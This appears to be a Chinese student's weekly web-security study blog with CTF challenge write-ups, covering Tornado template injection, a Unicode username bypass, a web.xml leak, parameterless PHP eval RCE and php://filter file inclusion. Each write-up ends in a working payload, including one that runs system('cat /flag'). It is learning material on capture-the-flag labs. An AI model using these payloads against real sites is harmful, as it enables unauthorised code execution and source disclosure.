Web安全学习Week12
上班
1.[护网杯 2018]easy_tornado
考点:
MD5加密
ssti注入
开局三个超链接
点进去看
提示了render加上标题easy_tornado想到ssti注入
render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。
总结:
1. render方法的实质就是生成template模板;
2. 通过调用一个方法来生成,而这个方法是通过render方法的参数传递给它的;
3. 这个方法有三个参数,分别提供标签名,标签相关属性,标签内部的html内容
4. 通过这三个参数,可以生成一个完整的木模板
tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。
看见传参 就传试试
然后报错了
看见msg也可以传
再传试试 用俩花括号是因为
Tornado templates support control statements and expressions. Control
statements are surrounded by {% %}, e.g. {% if len(items) > 2 %}.
Expressions are surrounded by {{ }}, e.g. {{ items[0] }}
看见有回显
再传2回显orz就说明符合ssti注入
然后就是之前看到的cookie_secret
cookie_secret在Application对象settings的属性中 ,访问它的话就需要知道它的属性名字上网查到:self.application.settings有一个别名是RequestHandler.settings其中handler又是指向处理当前这个页面的RequestHandler对象RequestHandler.settings指向self.application.settings因此handler.settings指向RequestHandler.application.settings
然后再根据之前的secret_cookie转md5
最后的payload
file?filename=/fllllllllllllag&filehash=a8d61d7f9d4b11e297b6a479b20b7de1
2.[HCTF 2018]admin
解法1:
开局点开菜单里面再点就有登录
界面
用admin登陆试试
也有账号注册功能
看来admin这个账号存在
试试弱密码123
可还行
解法2:
注册发现
在password change里面看见源码
直接去康康就变代码审计了
看见里面twisted的版本很低
再利用这里nodeprep.prepare函数将unicode字符ᴬ转换成A,
而A再次调用nodeprep.prepare函数会把A转换成a
就可以考虑注册登陆ᴬᴰᴹᴵᴺ再修改密码了
再登录的时候直接用admin
3.[RoarCTF 2019]Easy Java
考点:
web.xml泄露
filter伪协议读取
这题也是个登陆的
但登录是个噱头
点进help看见这个
查到这个是WEB-INF/web.xml泄露
把get改post
再读
再64解码就来了
4.[GXYCTF2019]禁止套娃
开局啥也没有(感觉被戏弄 f12也没看见啥 就用dirsearch搜
看见.git目录,猜测存在.git源码泄露
用githack下载.git发现有东东
然后就发现源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>
这里三个if都在正则匹配过滤
第一个过滤几个伪协议
第二个
(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。
引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,
那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,
这其实是无参数RCE比较典型的例子,
第三个过滤et/na/info等一些关键字嘛
用scandir列出指定目录中的文件和目录,无参就列出当前目录的文件
payload
?exp=print_r(scandir(current(localeconv())));
next()函数讲内部指针指向数组中的下一个元素,并输出
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
最后的payload用highlight_file显示代码
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
5.[BJDCTF2020]ZJCTF,不过如此
如题 不过如此的代码审计
<?phperror_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file); //next.php}
else{highlight_file(__FILE__);
}
?>
用伪协议匹配后面的句子再用伪协议包括一下next.php
payload
/?text=data:text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php
然后得到一串base64解码得下面
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}
这应该是next.php
主要就是绕过正则执行eval
然后
直接传.*由于php字符解析 .会被替代成下划线
所以我们换个元字符\S
\S表示匹配非空格以外的所有字符
\S*=${phpinfo()}
然后就最后的payload咯
/next.php?\S*=${getFlag()}&cmd=system("cat%20/flag");
下班
每周一苦涩
在家待了一个假期
腿废了
和以前跑马拉松的队友碰见了
想跟着他跑
直接被拉好几圈
呜呜
太菜了 还是老老实实学安全把 难受
Web安全学习Week12相关推荐
- Web前端学习有哪些技巧?
想要学好web前端技术,在学习过程中找到合适的方法和技巧,那么在实际学习过程中会更加的容易和快速掌握知识重点,尤其是对于初学者尤为关键,下面小编就为大家详细的介绍一下Web前端学习有哪些技巧?希望能够 ...
- html 表单自动数值,web前端学习技术之对HTML5 智能表单的理解
原标题:web前端学习技术之对HTML5 智能表单的理解 Html5新增input的form属性,用于指向特定form表单的id,实现input无需放在form标签之中,即可通过表单进行提交. - t ...
- Web前端学习路线分享,初学者不要错过!
在技术岗中,前端开发一直是薪资比较高的岗位. ▲北京前端工程师月均薪20.7K(职友集) 前端技术的更新迭代,导致大部分技术人员跟不上.因此越来越多的人想转型做前端开发了.毕竟想要驰骋职场,想要拿年薪 ...
- Web前端学习技巧有哪些?本文给你答案
随着互联网的快速发展,web前端技术在不断的更新,有着美好前景的web前端岗位引起了很多人的关注,很多人都开始报班学习web前端技术.那么web前端学习技巧有哪些?来看看下面的详细介绍. web前端学 ...
- web前端学习文档 电子版_web前端小白系统入门学习
正文 互联网正在改变我们的生活,前端也成了很重要的岗位之一,许多人都往前端靠拢,可又无能为力,不知所措,首先我们说为什么在编程里,大家都倾向于往前端靠呢?原因很简单,那就是,在程序员的世界里,前端开发 ...
- 如何使用jquery_好程序员web前端学习路线分享jQuery学习技巧
好程序员web前端学习路线分享jQuery学习技巧,jQuery在web前端学习中是一个必不可少的内容,很多小伙伴都在学习这阶段的时候遇到问题,今天我们就来聊一下jQuery,让我们一起来看一看吧! ...
- Spring Web Service 学习之Hello World篇
http://fuxueliang.iteye.com/blog/175184 Spring Web Service是Spring社区基于Spring提供的一个关注于创建"文档驱动" ...
- 【Java Web开发学习】Spring4条件化的bean
[Java Web开发学习]Spring4条件化的bean 转载:https://www.cnblogs.com/yangchongxing/p/9071960.html Spring4引入了@Con ...
- js怎么在一个div中嵌入另一网站_好程序员web前端学习路线分享HTML5常见面试题集锦一...
好程序员web前端学习路线分享HTML5常见面试题集锦,接下来将会持续为大家分享几篇HTML5常见面试题. 1.布局 左边20% 中间自适应 右边200px 不能用定位 答案:圣杯布局/双飞翼布局或者 ...
最新文章
- 关于爬楼梯的lintcode代码
- 又见程序员精神——有感于谷歌一天一夜开发春运交通图
- python面向对象思路_python面向对象方法
- LNMP与CA认证的童话故事
- 离线安装 Android 4.0 SDK
- 浏览器css bug及bug解决方法
- 盈建科弹性板6计算_YJK参数设置详细解析
- Command Prompt + Perl 脚本编写笔记
- heading pitch roll 飞行姿态角度
- 数学建模层次分析法例题及答案_数学建模层次分析法题目及程序
- php在线拍照代码,PHP+Javascript实现在线拍照功能实例
- oppo r11s鸿蒙固件,OPPO R11s官方固件rom刷机包_OPPO R11s系统升级更新包下载
- No.4 - 第一章 启航 - 什么是事件驱动型应用 | Flink 知其然,知其所以然
- doc、docx文档批量合并
- python dot_graphviz,dot,及dot图可视化
- php liger 表格排序,LigerUI之grid表格点击表头标题排序实现
- 安全合规--40--基于欧美法律法规的企业隐私合规体系建设经验总结(四)
- vue+element上传图片到阿里云(可直接运行domo)
- 一阶低通滤波器和二阶低通滤波器
- 【PHP】抖音授权登录并获取用户公开信息(网页)